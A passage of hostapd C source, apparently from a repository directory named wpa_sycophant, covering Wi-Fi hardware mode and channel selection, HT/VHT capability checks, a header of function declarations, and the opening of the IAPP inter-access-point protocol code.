HOSTAPD_CHAN_DFS_AVAILABLE: state = "available"; break; default: return ""; } os_snprintf(info, sizeof(info), " (DFS state = %s)", state); info[sizeof(info) - 1] = '\0'; return info; } #endif /* CONFIG_NO_STDOUT_DEBUG */ int hostapd_get_hw_features(struct hostapd_iface *iface) { struct hostapd_data *hapd = iface->bss[0]; int i, j; u16 num_modes, flags; struct hostapd_hw_modes *modes; u8 dfs_domain; if (hostapd_drv_none(hapd)) return -1; modes = hostapd_get_hw_feature_data(hapd, &num_modes, &flags, &dfs_domain); if (modes == NULL) { hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Fetching hardware channel/rate support not " "supported."); return -1; } iface->hw_flags = flags; iface->dfs_domain = dfs_domain; hostapd_free_hw_features(iface->hw_features, iface->num_hw_features); iface->hw_features = modes; iface->num_hw_features = num_modes; for (i = 0; i < num_modes; i++) { struct hostapd_hw_modes *feature = &modes[i]; int dfs_enabled = hapd->iconf->ieee80211h && (iface->drv_flags & WPA_DRIVER_FLAGS_RADAR); /* set flag for channels we can use in current regulatory * domain */ for (j = 0; j < feature->num_channels; j++) { int dfs = 0; /* * Disable all channels that are marked not to allow * to initiate radiation (a.k.a. passive scan and no * IBSS). * Use radar channels only if the driver supports DFS. */ if ((feature->channels[j].flag & HOSTAPD_CHAN_RADAR) && dfs_enabled) { dfs = 1; } else if (((feature->channels[j].flag & HOSTAPD_CHAN_RADAR) && !(iface->drv_flags & WPA_DRIVER_FLAGS_DFS_OFFLOAD)) || (feature->channels[j].flag & HOSTAPD_CHAN_NO_IR)) { feature->channels[j].flag |= HOSTAPD_CHAN_DISABLED; } if (feature->channels[j].flag & HOSTAPD_CHAN_DISABLED) continue; wpa_printf(MSG_MSGDUMP, "Allowed channel: mode=%d " "chan=%d freq=%d MHz max_tx_power=%d dBm%s", feature->mode, feature->channels[j].chan, feature->channels[j].freq, feature->channels[j].max_tx_power, dfs ? dfs_info(&feature->channels[j]) : ""); } } return 0; } int hostapd_prepare_rates(struct hostapd_iface *iface, struct hostapd_hw_modes *mode) { int i, num_basic_rates = 0; int basic_rates_a[] = { 60, 120, 240, -1 }; int basic_rates_b[] = { 10, 20, -1 }; int basic_rates_g[] = { 10, 20, 55, 110, -1 }; int *basic_rates; if (iface->conf->basic_rates) basic_rates = iface->conf->basic_rates; else switch (mode->mode) { case HOSTAPD_MODE_IEEE80211A: basic_rates = basic_rates_a; break; case HOSTAPD_MODE_IEEE80211B: basic_rates = basic_rates_b; break; case HOSTAPD_MODE_IEEE80211G: basic_rates = basic_rates_g; break; case HOSTAPD_MODE_IEEE80211AD: return 0; /* No basic rates for 11ad */ default: return -1; } i = 0; while (basic_rates[i] >= 0) i++; if (i) i++; /* -1 termination */ os_free(iface->basic_rates); iface->basic_rates = os_malloc(i * sizeof(int)); if (iface->basic_rates) os_memcpy(iface->basic_rates, basic_rates, i * sizeof(int)); os_free(iface->current_rates); iface->num_rates = 0; iface->current_rates = os_calloc(mode->num_rates, sizeof(struct hostapd_rate_data)); if (!iface->current_rates) { wpa_printf(MSG_ERROR, "Failed to allocate memory for rate " "table."); return -1; } for (i = 0; i < mode->num_rates; i++) { struct hostapd_rate_data *rate; if (iface->conf->supported_rates && !hostapd_rate_found(iface->conf->supported_rates, mode->rates[i])) continue; rate = &iface->current_rates[iface->num_rates]; rate->rate = mode->rates[i]; if (hostapd_rate_found(basic_rates, rate->rate)) { rate->flags |= HOSTAPD_RATE_BASIC; num_basic_rates++; } wpa_printf(MSG_DEBUG, "RATE[%d] rate=%d flags=0x%x", iface->num_rates, rate->rate, rate->flags); iface->num_rates++; } if ((iface->num_rates == 0 || num_basic_rates == 0) && (!iface->conf->ieee80211n || !iface->conf->require_ht)) { wpa_printf(MSG_ERROR, "No rates remaining in supported/basic " "rate sets (%d,%d).", iface->num_rates, num_basic_rates); return -1; } return 0; } #ifdef CONFIG_IEEE80211N static int ieee80211n_allowed_ht40_channel_pair(struct hostapd_iface *iface) { int pri_chan, sec_chan; if (!iface->conf->secondary_channel) return 1; /* HT40 not used */ pri_chan = iface->conf->channel; sec_chan = pri_chan + iface->conf->secondary_channel * 4; return allowed_ht40_channel_pair(iface->current_mode, pri_chan, sec_chan); } static void ieee80211n_switch_pri_sec(struct hostapd_iface *iface) { if (iface->conf->secondary_channel > 0) { iface->conf->channel += 4; iface->conf->secondary_channel = -1; } else { iface->conf->channel -= 4; iface->conf->secondary_channel = 1; } } static int ieee80211n_check_40mhz_5g(struct hostapd_iface *iface, struct wpa_scan_results *scan_res) { int pri_chan, sec_chan; int res; pri_chan = iface->conf->channel; sec_chan = pri_chan + iface->conf->secondary_channel * 4; res = check_40mhz_5g(iface->current_mode, scan_res, pri_chan, sec_chan); if (res == 2) { if (iface->conf->no_pri_sec_switch) { wpa_printf(MSG_DEBUG, "Cannot switch PRI/SEC channels due to local constraint"); } else { ieee80211n_switch_pri_sec(iface); } } return !!res; } static int ieee80211n_check_40mhz_2g4(struct hostapd_iface *iface, struct wpa_scan_results *scan_res) { int pri_chan, sec_chan; pri_chan = iface->conf->channel; sec_chan = pri_chan + iface->conf->secondary_channel * 4; return check_40mhz_2g4(iface->current_mode, scan_res, pri_chan, sec_chan); } static void ieee80211n_check_scan(struct hostapd_iface *iface) { struct wpa_scan_results *scan_res; int oper40; int res; /* Check list of neighboring BSSes (from scan) to see whether 40 MHz is * allowed per IEEE Std 802.11-2012, 10.15.3.2 */ iface->scan_cb = NULL; scan_res = hostapd_driver_get_scan_results(iface->bss[0]); if (scan_res == NULL) { hostapd_setup_interface_complete(iface, 1); return; } if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A) oper40 = ieee80211n_check_40mhz_5g(iface, scan_res); else oper40 = ieee80211n_check_40mhz_2g4(iface, scan_res); wpa_scan_results_free(scan_res); iface->secondary_ch = iface->conf->secondary_channel; if (!oper40) { wpa_printf(MSG_INFO, "20/40 MHz operation not permitted on " "channel pri=%d sec=%d based on overlapping BSSes", iface->conf->channel, iface->conf->channel + iface->conf->secondary_channel * 4); iface->conf->secondary_channel = 0; if (iface->drv_flags & WPA_DRIVER_FLAGS_HT_2040_COEX) { /* * TODO: Could consider scheduling another scan to check * if channel width can be changed if no coex reports * are received from associating stations. */ } } res = ieee80211n_allowed_ht40_channel_pair(iface); if (!res) { iface->conf->secondary_channel = 0; iface->conf->vht_oper_centr_freq_seg0_idx = 0; iface->conf->vht_oper_centr_freq_seg1_idx = 0; iface->conf->vht_oper_chwidth = VHT_CHANWIDTH_USE_HT; res = 1; wpa_printf(MSG_INFO, "Fallback to 20 MHz"); } hostapd_setup_interface_complete(iface, !res); } static void ieee80211n_scan_channels_2g4(struct hostapd_iface *iface, struct wpa_driver_scan_params *params) { /* Scan only the affected frequency range */ int pri_freq, sec_freq; int affected_start, affected_end; int i, pos; struct hostapd_hw_modes *mode; if (iface->current_mode == NULL) return; pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); if (iface->conf->secondary_channel > 0) sec_freq = pri_freq + 20; else sec_freq = pri_freq - 20; /* * Note: Need to find the PRI channel also in cases where the affected * channel is the SEC channel of a 40 MHz BSS, so need to include the * scanning coverage here to be 40 MHz from the center frequency. */ affected_start = (pri_freq + sec_freq) / 2 - 40; affected_end = (pri_freq + sec_freq) / 2 + 40; wpa_printf(MSG_DEBUG, "40 MHz affected channel range: [%d,%d] MHz", affected_start, affected_end); mode = iface->current_mode; params->freqs = os_calloc(mode->num_channels + 1, sizeof(int)); if (params->freqs == NULL) return; pos = 0; for (i = 0; i < mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (chan->freq < affected_start || chan->freq > affected_end) continue; params->freqs[pos++] = chan->freq; } } static void ieee80211n_scan_channels_5g(struct hostapd_iface *iface, struct wpa_driver_scan_params *params) { /* Scan only the affected frequency range */ int pri_freq; int affected_start, affected_end; int i, pos; struct hostapd_hw_modes *mode; if (iface->current_mode == NULL) return; pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); if (iface->conf->secondary_channel > 0) { affected_start = pri_freq - 10; affected_end = pri_freq + 30; } else { affected_start = pri_freq - 30; affected_end = pri_freq + 10; } wpa_printf(MSG_DEBUG, "40 MHz affected channel range: [%d,%d] MHz", affected_start, affected_end); mode = iface->current_mode; params->freqs = os_calloc(mode->num_channels + 1, sizeof(int)); if (params->freqs == NULL) return; pos = 0; for (i = 0; i < mode->num_channels; i++) { struct hostapd_channel_data *chan = &mode->channels[i]; if (chan->flag & HOSTAPD_CHAN_DISABLED) continue; if (chan->freq < affected_start || chan->freq > affected_end) continue; params->freqs[pos++] = chan->freq; } } static void ap_ht40_scan_retry(void *eloop_data, void *user_data) { #define HT2040_COEX_SCAN_RETRY 15 struct hostapd_iface *iface = eloop_data; struct wpa_driver_scan_params params; int ret; os_memset(¶ms, 0, sizeof(params)); if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) ieee80211n_scan_channels_2g4(iface, ¶ms); else ieee80211n_scan_channels_5g(iface, ¶ms); ret = hostapd_driver_scan(iface->bss[0], ¶ms); iface->num_ht40_scan_tries++; os_free(params.freqs); if (ret == -EBUSY && iface->num_ht40_scan_tries < HT2040_COEX_SCAN_RETRY) { wpa_printf(MSG_ERROR, "Failed to request a scan of neighboring BSSes ret=%d (%s) - try to scan again (attempt %d)", ret, strerror(-ret), iface->num_ht40_scan_tries); eloop_register_timeout(1, 0, ap_ht40_scan_retry, iface, NULL); return; } if (ret == 0) { iface->scan_cb = ieee80211n_check_scan; return; } wpa_printf(MSG_DEBUG, "Failed to request a scan in device, bringing up in HT20 mode"); iface->conf->secondary_channel = 0; iface->conf->ht_capab &= ~HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET; hostapd_setup_interface_complete(iface, 0); } void hostapd_stop_setup_timers(struct hostapd_iface *iface) { eloop_cancel_timeout(ap_ht40_scan_retry, iface, NULL); } static int ieee80211n_check_40mhz(struct hostapd_iface *iface) { struct wpa_driver_scan_params params; int ret; /* Check that HT40 is used and PRI / SEC switch is allowed */ if (!iface->conf->secondary_channel || iface->conf->no_pri_sec_switch) return 0; hostapd_set_state(iface, HAPD_IFACE_HT_SCAN); wpa_printf(MSG_DEBUG, "Scan for neighboring BSSes prior to enabling " "40 MHz channel"); os_memset(¶ms, 0, sizeof(params)); if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) ieee80211n_scan_channels_2g4(iface, ¶ms); else ieee80211n_scan_channels_5g(iface, ¶ms); ret = hostapd_driver_scan(iface->bss[0], ¶ms); os_free(params.freqs); if (ret == -EBUSY) { wpa_printf(MSG_ERROR, "Failed to request a scan of neighboring BSSes ret=%d (%s) - try to scan again", ret, strerror(-ret)); iface->num_ht40_scan_tries = 1; eloop_cancel_timeout(ap_ht40_scan_retry, iface, NULL); eloop_register_timeout(1, 0, ap_ht40_scan_retry, iface, NULL); return 1; } if (ret < 0) { wpa_printf(MSG_ERROR, "Failed to request a scan of neighboring BSSes ret=%d (%s)", ret, strerror(-ret)); return -1; } iface->scan_cb = ieee80211n_check_scan; return 1; } static int ieee80211n_supported_ht_capab(struct hostapd_iface *iface) { u16 hw = iface->current_mode->ht_capab; u16 conf = iface->conf->ht_capab; if ((conf & HT_CAP_INFO_LDPC_CODING_CAP) && !(hw & HT_CAP_INFO_LDPC_CODING_CAP)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [LDPC]"); return 0; } /* * Driver ACS chosen channel may not be HT40 due to internal driver * restrictions. */ if (!iface->conf->acs && (conf & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET) && !(hw & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [HT40*]"); return 0; } switch (conf & HT_CAP_INFO_SMPS_MASK) { case HT_CAP_INFO_SMPS_STATIC: if (!(iface->smps_modes & WPA_DRIVER_SMPS_MODE_STATIC)) { wpa_printf(MSG_ERROR, "Driver does not support configured HT capability [SMPS-STATIC]"); return 0; } break; case HT_CAP_INFO_SMPS_DYNAMIC: if (!(iface->smps_modes & WPA_DRIVER_SMPS_MODE_DYNAMIC)) { wpa_printf(MSG_ERROR, "Driver does not support configured HT capability [SMPS-DYNAMIC]"); return 0; } break; case HT_CAP_INFO_SMPS_DISABLED: default: break; } if ((conf & HT_CAP_INFO_GREEN_FIELD) && !(hw & HT_CAP_INFO_GREEN_FIELD)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [GF]"); return 0; } if ((conf & HT_CAP_INFO_SHORT_GI20MHZ) && !(hw & HT_CAP_INFO_SHORT_GI20MHZ)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [SHORT-GI-20]"); return 0; } if ((conf & HT_CAP_INFO_SHORT_GI40MHZ) && !(hw & HT_CAP_INFO_SHORT_GI40MHZ)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [SHORT-GI-40]"); return 0; } if ((conf & HT_CAP_INFO_TX_STBC) && !(hw & HT_CAP_INFO_TX_STBC)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [TX-STBC]"); return 0; } if ((conf & HT_CAP_INFO_RX_STBC_MASK) > (hw & HT_CAP_INFO_RX_STBC_MASK)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [RX-STBC*]"); return 0; } if ((conf & HT_CAP_INFO_DELAYED_BA) && !(hw & HT_CAP_INFO_DELAYED_BA)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [DELAYED-BA]"); return 0; } if ((conf & HT_CAP_INFO_MAX_AMSDU_SIZE) && !(hw & HT_CAP_INFO_MAX_AMSDU_SIZE)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [MAX-AMSDU-7935]"); return 0; } if ((conf & HT_CAP_INFO_DSSS_CCK40MHZ) && !(hw & HT_CAP_INFO_DSSS_CCK40MHZ)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [DSSS_CCK-40]"); return 0; } if ((conf & HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT) && !(hw & HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT)) { wpa_printf(MSG_ERROR, "Driver does not support configured " "HT capability [LSIG-TXOP-PROT]"); return 0; } return 1; } #ifdef CONFIG_IEEE80211AC static int ieee80211ac_supported_vht_capab(struct hostapd_iface *iface) { struct hostapd_hw_modes *mode = iface->current_mode; u32 hw = mode->vht_capab; u32 conf = iface->conf->vht_capab; wpa_printf(MSG_DEBUG, "hw vht capab: 0x%x, conf vht capab: 0x%x", hw, conf); if (mode->mode == HOSTAPD_MODE_IEEE80211G && iface->conf->bss[0]->vendor_vht && mode->vht_capab == 0 && iface->hw_features) { int i; for (i = 0; i < iface->num_hw_features; i++) { if (iface->hw_features[i].mode == HOSTAPD_MODE_IEEE80211A) { mode = &iface->hw_features[i]; hw = mode->vht_capab; wpa_printf(MSG_DEBUG, "update hw vht capab based on 5 GHz band: 0x%x", hw); break; } } } return ieee80211ac_cap_check(hw, conf); } #endif /* CONFIG_IEEE80211AC */ #endif /* CONFIG_IEEE80211N */ int hostapd_check_ht_capab(struct hostapd_iface *iface) { #ifdef CONFIG_IEEE80211N int ret; if (!iface->conf->ieee80211n) return 0; if (iface->current_mode->mode != HOSTAPD_MODE_IEEE80211B && iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G && (iface->conf->ht_capab & HT_CAP_INFO_DSSS_CCK40MHZ)) { wpa_printf(MSG_DEBUG, "Disable HT capability [DSSS_CCK-40] on 5 GHz band"); iface->conf->ht_capab &= ~HT_CAP_INFO_DSSS_CCK40MHZ; } if (!ieee80211n_supported_ht_capab(iface)) return -1; #ifdef CONFIG_IEEE80211AC if (!ieee80211ac_supported_vht_capab(iface)) return -1; #endif /* CONFIG_IEEE80211AC */ ret = ieee80211n_check_40mhz(iface); if (ret) return ret; if (!ieee80211n_allowed_ht40_channel_pair(iface)) return -1; #endif /* CONFIG_IEEE80211N */ return 0; } static int hostapd_is_usable_chan(struct hostapd_iface *iface, int channel, int primary) { int i; struct hostapd_channel_data *chan; if (!iface->current_mode) return 0; for (i = 0; i < iface->current_mode->num_channels; i++) { chan = &iface->current_mode->channels[i]; if (chan->chan != channel) continue; if (!(chan->flag & HOSTAPD_CHAN_DISABLED)) return 1; wpa_printf(MSG_DEBUG, "%schannel [%i] (%i) is disabled for use in AP mode, flags: 0x%x%s%s", primary ? "" : "Configured HT40 secondary ", i, chan->chan, chan->flag, chan->flag & HOSTAPD_CHAN_NO_IR ? " NO-IR" : "", chan->flag & HOSTAPD_CHAN_RADAR ? " RADAR" : ""); } wpa_printf(MSG_INFO, "Channel %d (%s) not allowed for AP mode", channel, primary ? "primary" : "secondary"); return 0; } static int hostapd_is_usable_chans(struct hostapd_iface *iface) { int secondary_chan; if (!hostapd_is_usable_chan(iface, iface->conf->channel, 1)) return 0; if (!iface->conf->secondary_channel) return 1; if (!iface->conf->ht40_plus_minus_allowed) return hostapd_is_usable_chan( iface, iface->conf->channel + iface->conf->secondary_channel * 4, 0); /* Both HT40+ and HT40- are set, pick a valid secondary channel */ secondary_chan = iface->conf->channel + 4; if (hostapd_is_usable_chan(iface, secondary_chan, 0)) { iface->conf->secondary_channel = 1; return 1; } secondary_chan = iface->conf->channel - 4; if (hostapd_is_usable_chan(iface, secondary_chan, 0)) { iface->conf->secondary_channel = -1; return 1; } return 0; } static enum hostapd_chan_status hostapd_check_chans(struct hostapd_iface *iface) { if (iface->conf->channel) { if (hostapd_is_usable_chans(iface)) return HOSTAPD_CHAN_VALID; else return HOSTAPD_CHAN_INVALID; } /* * The user set channel=0 or channel=acs_survey * which is used to trigger ACS. */ switch (acs_init(iface)) { case HOSTAPD_CHAN_ACS: return HOSTAPD_CHAN_ACS; case HOSTAPD_CHAN_VALID: case HOSTAPD_CHAN_INVALID: default: return HOSTAPD_CHAN_INVALID; } } static void hostapd_notify_bad_chans(struct hostapd_iface *iface) { if (!iface->current_mode) { hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Hardware does not support configured mode"); return; } hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Configured channel (%d) not found from the " "channel list of current mode (%d) %s", iface->conf->channel, iface->current_mode->mode, hostapd_hw_mode_txt(iface->current_mode->mode)); hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Hardware does not support configured channel"); } int hostapd_acs_completed(struct hostapd_iface *iface, int err) { int ret = -1; if (err) goto out; switch (hostapd_check_chans(iface)) { case HOSTAPD_CHAN_VALID: wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_COMPLETED "freq=%d channel=%d", hostapd_hw_get_freq(iface->bss[0], iface->conf->channel), iface->conf->channel); break; case HOSTAPD_CHAN_ACS: wpa_printf(MSG_ERROR, "ACS error - reported complete, but no result available"); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_FAILED); hostapd_notify_bad_chans(iface); goto out; case HOSTAPD_CHAN_INVALID: default: wpa_printf(MSG_ERROR, "ACS picked unusable channels"); wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_FAILED); hostapd_notify_bad_chans(iface); goto out; } ret = hostapd_check_ht_capab(iface); if (ret < 0) goto out; if (ret == 1) { wpa_printf(MSG_DEBUG, "Interface initialization will be completed in a callback"); return 0; } ret = 0; out: return hostapd_setup_interface_complete(iface, ret); } /** * hostapd_select_hw_mode - Select the hardware mode * @iface: Pointer to interface data. * Returns: 0 on success, < 0 on failure * * Sets up the hardware mode, channel, rates, and passive scanning * based on the configuration. */ int hostapd_select_hw_mode(struct hostapd_iface *iface) { int i; if (iface->num_hw_features < 1) return -1; if ((iface->conf->hw_mode == HOSTAPD_MODE_IEEE80211G || iface->conf->ieee80211n || iface->conf->ieee80211ac) && iface->conf->channel == 14) { wpa_printf(MSG_INFO, "Disable OFDM/HT/VHT on channel 14"); iface->conf->hw_mode = HOSTAPD_MODE_IEEE80211B; iface->conf->ieee80211n = 0; iface->conf->ieee80211ac = 0; } iface->current_mode = NULL; for (i = 0; i < iface->num_hw_features; i++) { struct hostapd_hw_modes *mode = &iface->hw_features[i]; if (mode->mode == iface->conf->hw_mode) { iface->current_mode = mode; break; } } if (iface->current_mode == NULL) { if (!(iface->drv_flags & WPA_DRIVER_FLAGS_ACS_OFFLOAD) || !(iface->drv_flags & WPA_DRIVER_FLAGS_SUPPORT_HW_MODE_ANY)) { wpa_printf(MSG_ERROR, "Hardware does not support configured mode"); hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_WARNING, "Hardware does not support configured mode (%d) (hw_mode in hostapd.conf)", (int) iface->conf->hw_mode); return -2; } } switch (hostapd_check_chans(iface)) { case HOSTAPD_CHAN_VALID: return 0; case HOSTAPD_CHAN_ACS: /* ACS will run and later complete */ return 1; case HOSTAPD_CHAN_INVALID: default: hostapd_notify_bad_chans(iface); return -3; } } const char * hostapd_hw_mode_txt(int mode) { switch (mode) { case HOSTAPD_MODE_IEEE80211A: return "IEEE 802.11a"; case HOSTAPD_MODE_IEEE80211B: return "IEEE 802.11b"; case HOSTAPD_MODE_IEEE80211G: return "IEEE 802.11g"; case HOSTAPD_MODE_IEEE80211AD: return "IEEE 802.11ad"; default: return "UNKNOWN"; } } int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan) { return hw_get_freq(hapd->iface->current_mode, chan); } int hostapd_hw_get_channel(struct hostapd_data *hapd, int freq) { int i, channel; struct hostapd_hw_modes *mode; channel = hw_get_chan(hapd->iface->current_mode, freq); if (channel) return channel; /* Check other available modes since the channel list for the current * mode did not include the specified frequency. */ for (i = 0; i < hapd->iface->num_hw_features; i++) { mode = &hapd->iface->hw_features[i]; channel = hw_get_chan(mode, freq); if (channel) return channel; } return 0; } wpa_sycophant-master/src/ap/hw_features.h000066400000000000000000000036641377436615100211300ustar00rootroot00000000000000/* * hostapd / Hardware feature query and different modes * Copyright 2002-2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2008-2011, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef HW_FEATURES_H #define HW_FEATURES_H #ifdef NEED_AP_MLME void hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, size_t num_hw_features); int hostapd_get_hw_features(struct hostapd_iface *iface); int hostapd_acs_completed(struct hostapd_iface *iface, int err); int hostapd_select_hw_mode(struct hostapd_iface *iface); const char * hostapd_hw_mode_txt(int mode); int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan); int hostapd_hw_get_channel(struct hostapd_data *hapd, int freq); int hostapd_check_ht_capab(struct hostapd_iface *iface); int hostapd_prepare_rates(struct hostapd_iface *iface, struct hostapd_hw_modes *mode); void hostapd_stop_setup_timers(struct hostapd_iface *iface); #else /* NEED_AP_MLME */ static inline void hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, size_t num_hw_features) { } static inline int hostapd_get_hw_features(struct hostapd_iface *iface) { return -1; } static inline int hostapd_acs_completed(struct hostapd_iface *iface, int err) { return -1; } static inline int hostapd_select_hw_mode(struct hostapd_iface *iface) { return -100; } static inline const char * hostapd_hw_mode_txt(int mode) { return NULL; } static inline int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan) { return -1; } static inline int hostapd_check_ht_capab(struct hostapd_iface *iface) { return 0; } static inline int hostapd_prepare_rates(struct hostapd_iface *iface, struct hostapd_hw_modes *mode) { return 0; } static inline void hostapd_stop_setup_timers(struct hostapd_iface *iface) { } #endif /* NEED_AP_MLME */ #endif /* HW_FEATURES_H */ wpa_sycophant-master/src/ap/iapp.c000066400000000000000000000351401377436615100175320ustar00rootroot00000000000000/* * hostapd / IEEE 802.11F-2003 Inter-Access Point Protocol (IAPP) * Copyright (c) 2002-2007, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. * * Note: IEEE 802.11F-2003 was a experimental use specification. It has expired * and IEEE has withdrawn it. In other words, it is likely better to look at * using some other mechanism for AP-to-AP communication than extending the * implementation here. */ /* TODO: * Level 1: no administrative or security support * (e.g., static BSSID to IP address mapping in each AP) * Level 2: support for dynamic mapping of BSSID to IP address * Level 3: support for encryption and authentication of IAPP messages * - add support for MOVE-notify and MOVE-response (this requires support for * finding out IP address for previous AP using RADIUS) * - add support for Send- and ACK-Security-Block to speedup IEEE 802.1X during * reassociation to another AP * - implement counters etc. for IAPP MIB * - verify endianness of fields in IAPP messages; are they big-endian as * used here? * - RADIUS connection for AP registration and BSSID to IP address mapping * - TCP connection for IAPP MOVE, CACHE * - broadcast ESP for IAPP ADD-notify * - ESP for IAPP MOVE messages * - security block sending/processing * - IEEE 802.11 context transfer */ #include "utils/includes.h" #include #include #include #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "hostapd.h" #include "ap_config.h" #include "ieee802_11.h" #include "sta_info.h" #include "iapp.h" #define IAPP_MULTICAST "224.0.1.178" #define IAPP_UDP_PORT 3517 #define IAPP_TCP_PORT 3517 struct iapp_hdr { u8 version; u8 command; be16 identifier; be16 length; /* followed by length-6 octets of data */ } __attribute__ ((packed)); #define IAPP_VERSION 0 enum IAPP_COMMAND { IAPP_CMD_ADD_notify = 0, IAPP_CMD_MOVE_notify = 1, IAPP_CMD_MOVE_response = 2, IAPP_CMD_Send_Security_Block = 3, IAPP_CMD_ACK_Security_Block = 4, IAPP_CMD_CACHE_notify = 5, IAPP_CMD_CACHE_response = 6, }; /* ADD-notify - multicast UDP on the local LAN */ struct iapp_add_notify { u8 addr_len; /* ETH_ALEN */ u8 reserved; u8 mac_addr[ETH_ALEN]; be16 seq_num; } __attribute__ ((packed)); /* Layer 2 Update frame (802.2 Type 1 LLC XID Update response) */ struct iapp_layer2_update { u8 da[ETH_ALEN]; /* broadcast */ u8 sa[ETH_ALEN]; /* STA addr */ be16 len; /* 6 */ u8 dsap; /* null DSAP address */ u8 ssap; /* null SSAP address, CR=Response */ u8 control; u8 xid_info[3]; } __attribute__ ((packed)); /* MOVE-notify - unicast TCP */ struct iapp_move_notify { u8 addr_len; /* ETH_ALEN */ u8 reserved; u8 mac_addr[ETH_ALEN]; u16 seq_num; u16 ctx_block_len; /* followed by ctx_block_len bytes */ } __attribute__ ((packed)); /* MOVE-response - unicast TCP */ struct iapp_move_response { u8 addr_len; /* ETH_ALEN */ u8 status; u8 mac_addr[ETH_ALEN]; u16 seq_num; u16 ctx_block_len; /* followed by ctx_block_len bytes */ } __attribute__ ((packed)); enum { IAPP_MOVE_SUCCESSFUL = 0, IAPP_MOVE_DENIED = 1, IAPP_MOVE_STALE_MOVE = 2, }; /* CACHE-notify */ struct iapp_cache_notify { u8 addr_len; /* ETH_ALEN */ u8 reserved; u8 mac_addr[ETH_ALEN]; u16 seq_num; u8 current_ap[ETH_ALEN]; u16 ctx_block_len; /* ctx_block_len bytes of context block followed by 16-bit context * timeout */ } __attribute__ ((packed)); /* CACHE-response - unicast TCP */ struct iapp_cache_response { u8 addr_len; /* ETH_ALEN */ u8 status; u8 mac_addr[ETH_ALEN]; u16 seq_num; } __attribute__ ((packed)); enum { IAPP_CACHE_SUCCESSFUL = 0, IAPP_CACHE_STALE_CACHE = 1, }; /* Send-Security-Block - unicast TCP */ struct iapp_send_security_block { u8 iv[8]; u16 sec_block_len; /* followed by sec_block_len bytes of security block */ } __attribute__ ((packed)); /* ACK-Security-Block - unicast TCP */ struct iapp_ack_security_block { u8 iv[8]; u8 new_ap_ack_authenticator[48]; } __attribute__ ((packed)); struct iapp_data { struct hostapd_data *hapd; u16 identifier; /* next IAPP identifier */ struct in_addr own, multicast; int udp_sock; int packet_sock; }; static void iapp_send_add(struct iapp_data *iapp, u8 *mac_addr, u16 seq_num) { char buf[128]; struct iapp_hdr *hdr; struct iapp_add_notify *add; struct sockaddr_in addr; /* Send IAPP ADD-notify to remove possible association from other APs */ hdr = (struct iapp_hdr *) buf; hdr->version = IAPP_VERSION; hdr->command = IAPP_CMD_ADD_notify; hdr->identifier = host_to_be16(iapp->identifier++); hdr->length = host_to_be16(sizeof(*hdr) + sizeof(*add)); add = (struct iapp_add_notify *) (hdr + 1); add->addr_len = ETH_ALEN; add->reserved = 0; os_memcpy(add->mac_addr, mac_addr, ETH_ALEN); add->seq_num = host_to_be16(seq_num); os_memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = iapp->multicast.s_addr; addr.sin_port = htons(IAPP_UDP_PORT); if (sendto(iapp->udp_sock, buf, (char *) (add + 1) - buf, 0, (struct sockaddr *) &addr, sizeof(addr)) < 0) wpa_printf(MSG_INFO, "sendto[IAPP-ADD]: %s", strerror(errno)); } static void iapp_send_layer2_update(struct iapp_data *iapp, u8 *addr) { struct iapp_layer2_update msg; /* Send Level 2 Update Frame to update forwarding tables in layer 2 * bridge devices */ /* 802.2 Type 1 Logical Link Control (LLC) Exchange Identifier (XID) * Update response frame; IEEE Std 802.2-1998, 5.4.1.2.1 */ os_memset(msg.da, 0xff, ETH_ALEN); os_memcpy(msg.sa, addr, ETH_ALEN); msg.len = host_to_be16(6); msg.dsap = 0; /* NULL DSAP address */ msg.ssap = 0x01; /* NULL SSAP address, CR Bit: Response */ msg.control = 0xaf; /* XID response lsb.1111F101. * F=0 (no poll command; unsolicited frame) */ msg.xid_info[0] = 0x81; /* XID format identifier */ 